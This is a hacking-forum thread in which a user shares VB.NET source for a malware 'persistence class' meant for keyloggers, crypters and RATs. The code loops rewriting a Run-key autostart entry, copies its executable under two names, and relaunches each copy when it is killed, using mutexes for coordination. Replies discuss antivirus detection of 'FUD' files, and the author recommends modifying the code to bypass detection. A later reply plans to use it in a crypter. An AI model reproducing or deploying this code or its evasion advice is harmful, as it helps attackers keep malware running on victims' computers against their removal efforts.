

Forum:[Hack Forums](#)

Thread: [\[VB.NET\] Persistence Class - File\Process\Registry \[Source\]](#)

[ZERO] - January 27, 2012, 2:07 pm

Hey guys, again I'm sharing something useful for you. This is my persistence class that can be used with keyloggers\crypters\RATs, and everything else where you need it. It's using threads, and not stupid timers, and it monitors file\process\registry activity, making your file unkillable. Also, I've added a disable feature that is really noob like, but I was lazy to make something more complicated. You can cancel persistence by making a file named "stop.txt" in the same directory where your file is. Easy as that.. Enjoy using it, and don't forget the credits.

Demonstration :

[Video: http://www.youtube.com/watch?v=p6xsURW0_BU]

Source :

Code Public Class Persistence

```
Public Sub New(ByVal FX As String, ByVal FXX As String, ByVal MX As String, ByVal MXX As String)
```

```
Me.F1 = FX
```

```
Me.F2 = FXX
```

```
Me.M1 = MX
```

```
Me.M2 = MXX
```

```
End Sub
```

```
Private Sub Registry_P()
```

```
For i As Integer = 0 To 1 Step 0
```

```
Try
```

```
Dim R As Microsoft.Win32.RegistryKey
```

```
R = Microsoft.Win32.Registry.CurrentUser
```

```
Dim K As Microsoft.Win32.RegistryKey =
```

```
R.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
```

```
K.SetValue(F1, Chr(34) & PT & F1 & EX & Chr(34),
```

```
Microsoft.Win32.RegistryValueKind.String)
```

```
System.Threading.Thread.Sleep(200) : Catch : System.Threading.Thread.Sleep(200) :
```

```
End Try
```

```
Next
```

```
End Sub
```

```
Private Sub SafeDisable()
```

```
If System.IO.File.Exists(PT & "stop.txt") Then
```

```
Process.GetCurrentProcess.Kill()
```

```
End If
```

```
End Sub
```

```
Private Sub File_P()
```

```
For i As Integer = 0 To 1 Step 0
```

```
Try
```

```

        SafeDisable()
        If C(F1) = False Then
            Try :
System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName, PT &
F1 & EX) : Catch : End Try
            Process.Start(PT & F1 & EX)
        End If
        If C(F2) = False Then
            Try :
System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName, PT &
F2 & EX) : Catch : End Try
            Process.Start(PT & F2 & EX)
        End If
        System.Threading.Thread.Sleep(200) : Catch : System.Threading.Thread.Sleep(200) :
End Try
    Next
End Sub

Private Function C(ByVal N As String) As Boolean
    Try
        Dim P As System.Diagnostics.Process =
System.Diagnostics.Process.GetProcessesByName(N)(0)
        Return True
    Catch
        Return False
    End Try
End Function

Private Sub D(ByVal N As String)
    If Not System.IO.File.Exists(PT & N) = True Then

        System.IO.File.Copy(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName, PT & N)
        Process.Start(PT & N)
        Process.GetCurrentProcess.Kill()
    End If
End Sub
Dim OM As System.Threading.Mutex
Private Sub M()
    Dim MN As String =
System.IO.Path.GetFileNameWithoutExtension(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName)
    If MN = F1 Then
        OM = New System.Threading.Mutex(False, M1)
    Else
        OM = New System.Threading.Mutex(False, M2)
    End If
    If OM.WaitOne(0, False) = False Then
        OM.Close()
        OM = Nothing
        Process.GetCurrentProcess.Kill()
    End If
End Sub

```

```

Public Sub Enable()
    If RS = True Then Exit Sub : D(F1 & EX) : M()
    T1 = New Threading.Thread(AddressOf Registry_P) : T2 = New Threading.Thread(AddressOf
File_P)
    T1.SetApartmentState(Threading.ApartmentState.STA) :
T2.SetApartmentState(Threading.ApartmentState.STA)
    T1.Start() : T2.Start() : RS = True
End Sub

```

```

Public Sub Disable()
    If RS = False Then Exit Sub
    T1.Abort()
    T2.Abort()
    RS = False
End Sub

```

#Region "Variables"

```

Private T1 As System.Threading.Thread
Private T2 As System.Threading.Thread
Private M1 As String = "Default1"
Private M2 As String = "Default2"
Private F1 As String = "Name1"
Private F2 As String = "Name2"
Private EX As String = ".exe"
Private RS As Boolean = False
Private PT As String =

```

```

System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName.Replace(System.IO.Path.G
etFileName(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName), "")
#End Region

```

End Class

Call it like this :

```

Code Dim CallPer As New Persistence("File1", "File2", "Mutex1", "Mutex2")
CallPer.Enable()

```

fillobotto - January 27, 2012, 2:11 pm

Mutex? :S

Can you write here a little explanation?

[ZERO] - January 27, 2012, 2:13 pm

(Jan 27, 2012 03:11 PM)fillobotto Wrote: [\[CITE\]](#) Mutex? :S

Can you write here a little explanation?

Here you go, you can read it here : <http://en.wikipedia.org/wiki/Mutex>

N3oNight - January 27, 2012, 2:14 pm

Grate share Zero..

nice to see something again from you.

fillobotto - January 27, 2012, 2:15 pm

I read it in Italian xD

To be honest I understood what it is, but I still wondering how to get it from a process

[**ZERO**] - January 27, 2012, 2:15 pm

(Jan 27, 2012 03:14 PM)N3oNight Wrote: [\[CITE\]](#) Grate share Zero..

nice to see something again from you.

Thanks mate, I appreciate it. I'll be posting more useful classes\snippets as soon as I get some free time. =)

(Jan 27, 2012 03:15 PM)fillobotto Wrote: [\[CITE\]](#) I read it in Italian xD

To be honest I understood what it is, but I still wondering how to get it from a process

You don't have to get it from a process. Simply, when calling persistence class, use any name for Mutex1 & Mutex2, but make sure that they're unique.

Example : "ioasjdoiahsd" & "UIASDH86Y"

Support. - January 27, 2012, 2:49 pm

Great share dude, really is, Shame skids will still post threads asking for it, lol.

I can't rep obv. (I would) but I'll say it here, I think your a brilliant coder & a big name in the HF VB section.

Off topic, would you be willing to sell the source to the injection app application you made? I'm not planning to resell/leech/rip/release any of it at! I've bin learning mono.cecil for the past few months now & I would pay to see how you translated code & also how you protected the app itself.

Unkn0wn X - January 27, 2012, 2:50 pm

Grate tutorial buddy..

But i may say this Start-up is detected..

You can just use to Copy exe to start-up under a while loop..

So it will be start-up + persistence too if you just put thread sleep with it..

iRtehLeet™ - January 27, 2012, 2:57 pm

Great share ZERO, it's all put together very nicely, great job on it.

Just wondering, does using System.IO.File.Copy trigger any runtime detections even if the file is FUD?

(Jan 27, 2012 03:50 PM)"XxX Wrote: [\[CITE\]](#) But i may say this Start-up is detected..

How is putting a file in the Microsoft/Windows/CurrentVer/Run detected?

Support. - January 27, 2012, 3:25 pm

(Jan 27, 2012 03:57 PM)iRtehLeet™ Wrote: [\[CITE\]](#) Great share ZERO, it's all put together very nicely, great job on it.

Just wondering, does using System.IO.File.Copy trigger any runtime detections even if the file is FUD?

How is putting a file in the Microsoft/Windows/CurrentVer/Run detected?

I've used System.IO.File.Copy in many apps and many have been FUD. (Non-Malious anyway) but I think they probably detect System.IO.File.Copy("winlogon.exe") just for the fact as it seems obv.

Coding4Noobs - January 27, 2012, 3:32 pm

so you made a loader :/ which if you have a second application in the resources, isnt it gunna increase the file size a lot :/... then again you could compile the loader at runtime instead which will

decrease the size a bit

[ZERO] - January 27, 2012, 4:39 pm

(Jan 27, 2012 04:34 PM)scriptkiddy Wrote: [\[CITE\]](#) I like how you call timers crappy when your project is laughable and shouldn't even be considered Persistence. You clearly don't know what timers are and you aren't even checking for file modifications or using events. Another copy pasta skid, good copy paste release.

It's called persistence because it is persistent on the computer where it's active. Let me explain it to you, since I see that your capability of understanding simple things is poor. I will translate the definition of my class's capabilities to your language.

Normal :

Code With this class, you cannot terminate a running process, which file is protected by this class. Also, You cannot delete it, or modify it's registry startup.

Your language :

Code Thiz toolz not dont use TimErS, And ITs shit, I know you know timers, and C++ and you finDZ thiz claz not usable, because YoU know moar stuff than everybody else.

Therefore to avoid further discussion with you, your post is going to be reported for low quality and you will receive negative reputation if you consider to post another low quality reply on this thread.

Have a good day,

~ZERO

P.S. Answer to all who asked, if something is detected :

Well, I didn't really check detection, but I believe that File.Copy is detected, and the registry part is probably detected also, so I recommend to slightly modify code in order to bypass those detections.

(Jan 27, 2012 04:32 PM)Coding4Noobs Wrote: [\[CITE\]](#) so you made a loader :/ which if you have a second application in the resources, isnt it gunna increase the file size a lot :/... then again you could compile the loader at runtime instead which will decrease the size a bit

Well, I don't really mind about the file size, since it's all being processed at the local hard drive, size would matter if you would download a file from the web, or I don't know share it like that, if you know what I mean. To put it simple, I find it better to use one class for this, instead of using a compiler to compile a file that will do the exact same thing.

nathan72389 - January 27, 2012, 5:19 pm

man, there is alot wrong with your class.

if i make a blank form and close it the process will still stay running because of your loops. the app does not restart, the code does not restart, its just your classes thread that is keeping the process alive.

from there i can still close it through taskmanager simply by "end process".

i thought that i would atleast have to suspend the process, then kill it, but that wasent even the thing to do.

maybe i missed something.

[ZERO] - January 27, 2012, 5:54 pm

Well, I'm using this class for CodeDOM generated files, aka Console Applications. Also, that video that is in the thread, is with a console application, try with one of those, and you'll see that it'll work. I never intended to use it with forms.

GhxTeam - August 10, 2017, 4:59 am

i am gonnatry to use it on mycrypter ty

Rhez - August 10, 2017, 6:41 am

(Aug 10, 2017 04:59 AM)GhxTeam Wrote: [CITE](#) i am gonnatry to use it on mycrypter ty
So you made an account just to gravedig this thread?